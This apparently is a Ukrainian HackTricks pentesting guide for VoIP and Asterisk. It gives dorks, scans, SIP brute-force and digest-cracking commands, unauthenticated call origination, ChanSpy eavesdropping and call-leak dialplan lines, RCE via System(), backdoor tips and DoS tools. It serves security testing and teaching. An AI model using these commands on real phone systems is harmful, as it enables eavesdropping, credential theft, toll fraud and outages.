Pentesting VoIP

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Основна інформація про VoIP

Щоб почати вивчати, як працює VoIP, перевірте:

pageBasic VoIP Protocols

Перелік VoIP

Телефонні номери

Один з перших кроків, який може зробити Червоний Тім, - це пошук доступних телефонних номерів для зв'язку з компанією за допомогою інструментів OSINT, пошуку в Google або парсингу веб-сторінок.

Після того, як у вас є телефонні номери, ви можете скористатися онлайн-сервісами для ідентифікації оператора:

Знаючи, чи надає оператор послуги VoIP, ви можете визначити, чи компанія використовує VoIP... Більше того, можливо, компанія не наймала послуги VoIP, а використовує PSTN-карти для підключення власної VoIP АТС до традиційної телефонної мережі.

Речі, такі як автоматичні відповіді або музика, зазвичай свідчать про використання VoIP.

Google Dorks

# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org

# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"

# Cisco phones
inurl:"NetworkConfiguration" cisco

# Linksys phones
intitle:"Sipura SPA Configuration"

# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm

# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com

# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"

# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"

Інформація OSINT

Будь-яка інша OSINT енумерація, яка допомагає визначити використовуване програмне забезпечення VoIP, буде корисною для Червоної Команди.

Енумерація мережі

  • nmap може сканувати служби UDP, але через велику кількість сканованих служб UDP він працює дуже повільно і може бути не дуже точним для цього типу служб.

  • svmap від SIPVicious (sudo apt install sipvicious): Знайде SIP-служби в вказаній мережі.

  • svmap легко блокується, оскільки він використовує User-Agent friendly-scanner, але ви можете змінити код з /usr/share/sipvicious/sipvicious і змінити його.

# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
  • sipscan.py з sippts: Sipscan - це дуже швидкий сканер для SIP-сервісів через UDP, TCP або TLS. Він використовує багатопотоковість і може сканувати великі діапазони мереж. Це дозволяє легко вказати діапазон портів, сканувати як TCP, так і UDP, використовувати інший метод (за замовчуванням він використовуватиме OPTIONS) та вказати інший User-Agent (і більше).

./sipscan.py -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]

[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
  • metasploit:

Metasploit - це потужний інструмент для розробки та використання експлоітів.

auxiliary/scanner/sip/options_tcp normal  No     SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options     normal  No     SIP Endpoint Scanner (UDP)

Додаткова мережева перелічення

PBX також може викладати інші мережеві служби, такі як:

  • 69/UDP (TFTP): Оновлення прошивки

  • 80 (HTTP) / 443 (HTTPS): Управління пристроєм через веб-інтерфейс

  • 389 (LDAP): Альтернатива для зберігання інформації про користувачів

  • 3306 (MySQL): База даних MySQL

  • 5038 (Manager): Дозволяє використовувати Asterisk з інших платформ

  • 5222 (XMPP): Передача повідомлень через Jabber

  • 5432 (PostgreSQL): База даних PostgreSQL

  • Та інші...

Перелічення методів

Можливо виявити які методи доступні для використання в PBX за допомогою sipenumerate.py з sippts

python3 sipenumerate.py -i 10.10.0.10 -r 5080

Перелік розширень

Розширення в системі PBX (Private Branch Exchange) вказують на унікальні внутрішні ідентифікатори, призначені для окремих ліній телефонів, пристроїв або користувачів у межах організації або бізнесу. Розширення дозволяють ефективно маршрутизувати дзвінки в межах організації, без необхідності окремих зовнішніх номерів телефонів для кожного користувача або пристрою.

  • svwar від SIPVicious (sudo apt install sipvicious): svwar - це безкоштовний сканер ліній розширень SIP PBX. У концепції він працює аналогічно традиційним wardialers, вгадуючи діапазон розширень або заданий список розширень.

svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
  • sipextend.py з sippts: Sipexten ідентифікує розширення на сервері SIP. Sipexten може перевіряти великі мережі та діапазони портів.

python3 sipexten.py -i 10.10.0.10 -r 5080 -e 100-200
  • metasploit: Ви також можете вибирати розширення/імена користувачів за допомогою metasploit:

auxiliary/scanner/sip/enumerator_tcp  normal  No     SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator      normal  No     SIP Username Enumerator (UDP)
  • enumiax (apt install enumiax): enumIAX - це інструмент для перебору імен користувачів протоколу Inter Asterisk Exchange (IAX). enumIAX може працювати в двох різних режимах; послідовне вгадування імен користувачів або атака за допомогою словника.

enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10

Атаки на VoIP

Брутфорс пароля

Виявивши PBX та деякі розширення/імена користувачів, Червона Команда може спробувати аутентифікуватися через метод REGISTER до розширення, використовуючи словник загальних паролів для брутфорсу аутентифікації.

Зверніть увагу, що ім'я користувача може бути таким самим, як розширення, але ця практика може відрізнятися в залежності від системи PBX, її конфігурації та вподобань організації...

Якщо ім'я користувача не співпадає з розширенням, вам потрібно визначити ім'я користувача для брутфорсу.

  • svcrack з SIPVicious (sudo apt install sipvicious): SVCrack дозволяє вам взламати пароль для певного імені користувача/розширення на PBX.

svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
  • sipcrack.py з sippts: SIP Digest Crack - це інструмент для взлому аутентифікації digest в протоколі SIP.

python3 siprcrack.py -i 10.10.0.10 -r 5080 -e 100,101,103-105 -w wordlist/rockyou.txt

Прослуховування VoIP

Якщо ви знаходите обладнання VoIP в відкритій бездротовій мережі, ви можете прослуховувати всю інформацію. Більше того, якщо ви знаходитесь в більш закритій мережі (підключені через Ethernet або захищену Wifi), ви можете виконати атаки MitM, такі як ARPspoofing між PBX та шлюзом, щоб прослуховувати інформацію.

Серед інформації мережі ви можете знайти веб-паролі для управління обладнанням, користувацькі розширення, ім'я користувача, IP-адреси, навіть хешовані паролі та пакети RTP, які ви можете відтворити, щоб прослухати розмову, та інше.

Для отримання цієї інформації ви можете використовувати такі інструменти, як Wireshark, tcpdump... але спеціально створений інструмент для прослуховування розмов VoIP - ucsniff.

Зверніть увагу, що якщо в SIP-комунікації використовується TLS, ви не зможете бачити SIP-комунікацію чітко. Те ж саме стосується використання SRTP та ZRTP, пакети RTP не будуть в чистому тексті.

SIP-паролі

Перевірте цей приклад, щоб краще зрозуміти комунікацію SIP REGISTER, щоб дізнатися, як передаються облікові дані.

  • sipdump та sipcrack, частина sipcrack (apt-get install sipcrack): Ці інструменти можуть видобувати з pcap дайджести-аутентифікації в межах протоколу SIP та проводити брутфорс їх.

sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
  • siptshar.py, sipdump.py, sipcrack.py з sippts:

  • SipTshark витягує дані протоколу SIP з файлу PCAP.

  • SipDump Витягує аутентифікації SIP Digest з файлу PCAP.

  • SIP Digest Crack - це інструмент для взлому аутентифікації в межах протоколу SIP.

python3 siptshark.py -f captura3.pcap [-filter auth]
python3 sipdump.py -f captura3.pcap -o data.txt
python3 sipcrack.py -f data.txt -w wordlist/rockyou.txt

Коди DTMF

Не тільки облікові дані SIP можна знайти в мережевому трафіку, також можна знайти коди DTMF, які використовуються, наприклад, для доступу до голосової пошти. Можна відправляти ці коди в SIP-повідомленнях INFO, у аудіо або всередині пакетів RTP. Якщо коди знаходяться всередині пакетів RTP, ви можете відрізати цю частину розмови та використовувати інструмент multimo для їх видобутку:

multimon -a DTMF -t wac pin.wav

Безкоштовні дзвінки / Неправильна конфігурація підключень Asterisks

У Asterisk можливо дозволити підключення з конкретної IP-адреси або з будь-якої IP-адреси:

host=10.10.10.10
host=dynamic

Якщо вказано IP-адресу, хост не буде потрібно відправляти запити REGISTER час від часу (у пакеті REGISTER відправляється час життя, зазвичай 30 хвилин, що означає, що в іншому випадку телефону потрібно буде РЕЄСТРУВАТИСЯ кожні 30 хвилин). Однак йому потрібно мати відкриті порти, що дозволяють підключення від сервера VoIP для прийому дзвінків.

Для визначення користувачів їх можна визначити як:

  • type=user: Користувач може лише приймати дзвінки як користувач.

  • type=friend: Можливо виконувати дзвінки як рівні та приймати їх як користувач (використовується з розширеннями)

  • type=peer: Можливо надсилати та приймати дзвінки як рівні (SIP-транки)

Також можливо встановити довіру з небезпечною змінною:

  • insecure=port: Дозволяє підключення рівні, підтверджені IP-адресою.

  • insecure=invite: Не потрібна аутентифікація для повідомлень INVITE

  • insecure=port,invite: Обидва

Коли використовується type=friend, значення змінної host не буде використано, тому якщо адміністратор неправильно налаштує SIP-транк з використанням цього значення, будь-хто зможе підключитися до нього.

Наприклад, ця конфігурація буде вразливою: host=10.10.10.10 insecure=port,invite type=friend

Безкоштовні дзвінки / Неправильна конфігурація контексту Asterisks

У Asterisk контекст - це ім'яований контейнер або розділ у плані набору, який групує разом пов'язані розширення, дії та правила. План набору є основним компонентом системи Asterisk, оскільки він визначає, як обробляються та маршрутизуються вхідні та вихідні дзвінки. Контексти використовуються для організації плану набору, управління контролем доступу та забезпечення розділення між різними частинами системи.

Кожен контекст визначається в файлі конфігурації, зазвичай в файлі extensions.conf. Контексти позначаються квадратними дужками, з ім'ям контексту, що знаходиться всередині них. Наприклад:

csharpCopy code[my_context]

У контексті ви визначаєте розширення (шаблони набраних номерів) і пов'язуєте їх з низкою дій або додатків. Ці дії визначають спосіб обробки дзвінка. Наприклад:

[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()

Цей приклад демонструє простий контекст під назвою "my_context" з розширенням "100". Коли хтось набирає 100, виклик буде прийнятий, буде відтворено вітальне повідомлення, після чого виклик буде завершено.

Це інший контекст, який дозволяє здійснювати виклик на будь-який інший номер:

[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})

Якщо адміністратор визначає контекст за замовчуванням як:

[default]
include => my_context
include => external

Будь-хто зможе використовувати сервер для дзвінків на будь-який інший номер (і адміністратор сервера оплатить дзвінок).

Більше того, за замовчуванням файл sip.conf містить allowguest=true, тоді будь-який зловмисник без аутентифікації зможе здійснювати дзвінки на будь-який інший номер.

  • sipinvite.py з sippts: Sipinvite перевіряє, чи дозволяє нам PBX сервер робити дзвінки без аутентифікації. Якщо SIP сервер має неправильну конфігурацію, він дозволить нам здійснювати дзвінки на зовнішні номери. Також може дозволити нам передати дзвінок на другий зовнішній номер.

Наприклад, якщо ваш сервер Asterisk має погану конфігурацію контексту, ви можете приймати запити INVITE без авторизації. У цьому випадку зловмисник може здійснювати дзвінки, не знаючи жодного ім'я користувача/пароля.

# Trying to make a call to the number 555555555 (without auth) with source number 200.
python3 sipinvite.py -i  10.10.0.10 -fu 200 -tu 555555555 -v

# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
python3 sipinvite.py -i 10.10.0.10 -tu 555555555 -t 444444444

Безкоштовні дзвінки / Неправильно налаштовані IVRS

IVRS означає Інтерактивна система голосової відповіді, технологія телефонії, яка дозволяє користувачам взаємодіяти з комп'ютерною системою за допомогою голосу або клавішних введень. IVRS використовується для створення автоматизованих систем обробки дзвінків, які пропонують різноманітні функціональні можливості, такі як надання інформації, маршрутизація дзвінків та збір введеної користувачем інформації.

IVRS у системах VoIP зазвичай складається з:

  1. Голосових промптів: Попередньо записаних аудіо-повідомлень, які керують користувачами через меню IVR та інструкції.

  2. DTMF (двоканальна багаточастотна сигналізація): Клавішні введення, генеровані натисканням клавіш на телефоні, які використовуються для навігації через меню IVR та введення інформації.

  3. Маршрутизація дзвінків: Направлення дзвінків на відповідний призначення, такі як конкретні відділи, агенти або розширення на основі введеної користувачем інформації.

  4. Збір введеної користувачем інформації: Збір інформації від дзвінків, такої як номери рахунків, ідентифікатори справ або будь-які інші відповідні дані.

  5. Інтеграція з зовнішніми системами: Підключення системи IVR до баз даних або інших програмних систем для доступу або оновлення інформації, виконання дій або спрацювання подій.

У системі VoIP Asterisk ви можете створити IVR за допомогою плану набору (файл extensions.conf) та різних додатків, таких як Background(), Playback(), Read() та інші. Ці додатки допомагають відтворювати голосові промпти, збирати введення користувача та керувати потоком дзвінка.

Приклад вразливої конфігурації

exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})

Попередній приклад, де користувача просять натиснути 1, щоб зателефонувати відділ, 2, щоб зателефонувати в інший, або введіть повний номер розширення, якщо він його знає. Вразливість полягає в тому, що вказана довжина розширення не перевіряється, тому користувач може ввести повний номер під час тайм-ауту 5 секунд, і його буде викликано.

Впровадження розширення

Використання розширення, такого як:

exten => _X.,1,Dial(SIP/${EXTEN})

Де ${EXTEN} - це розширення, яке буде викликане, коли буде введено ext 101, це те, що станеться:

exten => 101,1,Dial(SIP/101)

Проте, якщо ${EXTEN} дозволяє вводити більше, ніж цифри (як у старих версіях Asterisk), зловмисник може ввести 101&SIP123123123 для того, щоб зателефонувати за номером 123123123. І це буде результатом:

exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)

Отже, виклик на розширення 101 та 123123123 буде відправлений, і тільки перший отримає виклик... але якщо зловмисник використовує розширення, яке обходить будь-яке збіг, яке виконується, але не існує, він може впровадити виклик лише на бажаний номер.

Витік SIPDigest

Витік SIP Digest - це вразливість, яка впливає на велику кількість SIP-телефонів, включаючи як апаратні, так і програмні IP-телефони, а також адаптери телефонів (VoIP на аналогові). Ця вразливість дозволяє витік відповіді аутентифікації Digest, яка обчислюється з пароля. Після цього стає можливим офлайн атака на пароль і можливе відновлення більшості паролів на основі відповіді на виклик.

**Сценарій вразливості звідси**:

  1. IP-телефон (жертва) слухає порт 5060, приймаючи телефонні дзвінки

  2. Зловмисник відправляє INVITE на IP-телефон

  3. Телефон жертви починає дзвонити, і хтось піднімає трубку і повішає (тому що ніхто не відповідає на телефон на іншому кінці)

  4. Коли телефон повішений, телефон жертви відправляє BYE зловмиснику

  5. Зловмисник видає відповідь 407, яка просить аутентифікації та видає виклик аутентифікації

  6. Телефон жертви надає відповідь на виклик аутентифікації у другому BYE

  7. Зловмисник може тоді виконати атаку методом брутфорс на відповідь на виклик аутентифікації на своїй локальній машині (або розподіленій мережі тощо) та вгадати пароль

  • sipdigestleak.py з sippts: SipDigestLeak використовує цю вразливість.

python3 sipdigestleak.py -i 10.10.0.10

[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100

[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok

Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5

Click2Call

Click2Call дозволяє користувачеві веб-сайту (який, наприклад, може бути зацікавлений у продукті) ввести свій телефонний номер, щоб його зателефонували. Потім буде здійснено дзвінок на комерційний номер, і коли він відповість на дзвінок, користувач буде проініційовано і підключено до агента.

Загальний профіль Asterisk для цього виглядає так:

[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
  • Попередній профіль дозволяє БУДЬ-ЯКІЙ IP-адресі підключатися (якщо відомий пароль).

  • Для організації дзвінка, як вже зазначено, не потрібні права на читання, і потрібно лише originate в write.

З такими дозволами будь-яка IP-адреса, яка знає пароль, може підключитися та витягнути занадто багато інформації, наприклад:

# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3

Більше інформації або дій може бути запитано.

Прослуховування

У Asterisk можна використовувати команду ChanSpy, вказуючи розширення(я) для моніторингу (або всіх), щоб прослуховувати розмови, які відбуваються. Цю команду потрібно призначити для розширення.

Наприклад, exten => 333,1,ChanSpy('all',qb) вказує, що якщо ви подзвоните на розширення 333, воно буде моніторити всі розширення, почне прослуховувати кожну нову розмову (b) у тихому режимі (q), оскільки ми не хочемо взаємодіяти з нею. Ви можете переходити від однієї розмови до іншої, натискаючи *, або позначаючи номер розширення.

Також можна використовувати ExtenSpy, щоб моніторити лише одне розширення.

Замість прослуховування розмов, можна записувати їх у файли за допомогою розширення, такого як:

[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})

Виклики будуть збережені в /tmp.

Ви також можете навіть зробити Asterisk виконати скрипт, який витікає виклик, коли він закритий.

exten => h,1,System(/tmp/leak_conv.sh &)

RTCPBleed

RTCPBleed - це серйозна проблема безпеки, яка впливає на сервери VoIP на основі Asterisk (опубліковано в 2017 році). Уразливість дозволяє трафіку RTP (протокол реального часу), який переносить розмови VoIP, бути перехопленим та перенаправленим ким завгодно в Інтернеті. Це відбувається через те, що трафік RTP обходить аутентифікацію при проходженні через брандмауери NAT (переклад адрес мережі).

Проксі RTP намагаються вирішити обмеження NAT, що впливають на системи RTC, проксіюючи потоки RTP між двома або більше сторін. Коли використовується NAT, програмне забезпечення проксі RTP часто не може покладатися на інформацію про IP та порт RTP, отриману через сигналізацію (наприклад, SIP). Тому декілька проксі RTP реалізували механізм, де такий кортеж IP та порту вивчається автоматично. Це часто робиться шляхом інспектування вхідного трафіку RTP та позначення джерела IP та порту для будь-якого вхідного трафіку RTP як того, на який слід відповісти. Цей механізм, який може називатися "режимом навчання", не використовує жодної форми аутентифікації. Тому зловмисники можуть надсилати трафік RTP на проксі RTP та отримувати проксійований трафік RTP, призначений для дзвінка або отримувача поточного потоку RTP. Ми називаємо цю уразливість RTP Bleed, оскільки вона дозволяє зловмисникам отримувати потоки медіа RTP, які мали бути відправлені законним користувачам.

Ще однією цікавою особливістю проксі RTP та стеків RTP є те, що іноді, навіть якщо вони не вразливі на RTP Bleed, вони будуть приймати, пересилати та/або обробляти пакети RTP з будь-якого джерела. Тому зловмисники можуть надсилати пакети RTP, які можуть дозволити їм впроваджувати свої медіа замість законного. Ми називаємо цей атаку RTP injection, оскільки вона дозволяє впровадження нелегітимних пакетів RTP в існуючі потоки RTP. Ця уразливість може бути виявлена як у проксі RTP, так і в кінцевих точках.

Asterisk та FreePBX традиційно використовували налаштування NAT=yes, яке дозволяє трафіку RTP обходити аутентифікацію, що потенційно може призвести до відсутності аудіо або однобічного аудіо під час дзвінків.

Для отримання додаткової інформації перегляньте https://www.rtpbleed.com/

  • rtpbleed.py від sippts: Виявляє уразливість RTP Bleed, надсилаючи потоки RTP

python3 rtpbleed.py -i 10.10.0.10
  • rtcpbleed.py з sippts: Виявляє уразливість RTP Bleed, надсилаючи потоки RTP

python3 rtcpbleed.py -i 10.10.0.10
  • rtpbleedflood.py з sippts: Зловживання уразливістю RTP Bleed, надсилаючи потоки RTP

python3 rtpbleedflood.py -i 10.10.0.10 -p 10070 -v
  • rtpbleedinject.py з sippts: Зловживання вразливістю RTP Bleed, надсилаючи потоки RTP (з аудіофайлу)

python3 rtpbleedinject.py -i 10.10.0.10 -p 10070 -f audio.wav

RCE

У Asterisk вам якось вдається додавати правила розширень та перезавантажувати їх (наприклад, вразивши вразливий веб-сервер управління), можливо отримати RCE, використовуючи команду System.

same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)

Існує команда під назвою Shell, яку можна використовувати замість System для виконання системних команд у разі необхідності.

Якщо сервер забороняє використання певних символів у команді System (як у Elastix), перевірте, чи дозволяє веб-сервер створювати файли яким-небудь чином всередині системи (як у Elastix або trixbox), і використовуйте це для створення скрипту задніх воріт, а потім використовуйте System для виконання цього скрипту.

Цікаві локальні файли та дозволи

  • sip.conf -> Містить пароль користувачів SIP.

  • Якщо сервер Asterisk працює від імені root, ви можете скомпрометувати root

  • Користувач root mysql може не мати жодного пароля.

  • це може бути використано для створення нового користувача mysql як задніх воріт

  • FreePBX

  • amportal.conf -> Містить пароль адміністратора веб-панелі (FreePBX)

  • FreePBX.conf -> Містить пароль користувача FreePBXuser, який використовується для доступу до бази даних

  • це може бути використано для створення нового користувача mysql як задніх воріт

  • Elastix

  • Elastix.conf -> Містить кілька паролів у відкритому вигляді, таких як пароль root mysql, пароль IMAPd, пароль веб-адміністратора

  • Кілька папок будуть належати скомпрометованому користувачеві asterisk (якщо не працює як root). Цей користувач може читати попередні файли і також керує конфігурацією, тому він може змусити Asterisk завантажувати інші файли з задніми воротами при виконанні.

Впровадження RTP

Можливо вставити .wav у розмови за допомогою таких інструментів, як rtpinsertsound (sudo apt install rtpinsertsound) та rtpmixsound (sudo apt install rtpmixsound).

Або ви можете використовувати скрипти з http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ для сканування розмов (rtpscan.pl), відправки .wav у розмову (rtpsend.pl) та вставки шуму у розмову (rtpflood.pl).

DoS

Є кілька способів спробувати досягти DoS на серверах VoIP.

  • sipflood.py з sippts: _SipFlood_ відправляє необмежену кількість повідомлень на ціль

  • python3 sipflood.py -i 10.10.0.10 -r 5080 -m invite -v

  • IAXFlooder: DoS протоколу IAX, який використовується Asterisk

  • inviteflood: Інструмент для здійснення затоплення SIP/SDP INVITE через UDP/IP.

  • rtpflood: Відправлення кількох добре сформованих пакетів RTP. Потрібно знати порти RTP, які використовуються (спочатку відловлюйте).

  • SIPp: Дозволяє аналізувати та генерувати трафік SIP. Також може бути використаний для DoS.

  • SIPsak: SIP швейцарський ніж. Також може бути використаний для здійснення атак SIP.

  • Fuzzers: protos-sip, voiper.

  • sipsend.py з sippts: SIPSend дозволяє нам відправляти призначене SIP повідомлення та аналізувати відповідь.

  • wssend.py з sippts: WsSend дозволяє нам відправляти призначене SIP повідомлення через WebSockets та аналізувати відповідь.

Вразливості ОС

Найпростіший спосіб встановити програмне забезпечення, таке як Asterisk, - це завантажити розподіл ОС, в якому воно вже встановлено, такий як: FreePBX, Elastix, Trixbox... Проблема полягає в тому, що після того, як вони працюють, системні адміністратори можуть не оновлювати їх знову, і з часом будуть виявлені вразливості.

Посилання

Last updated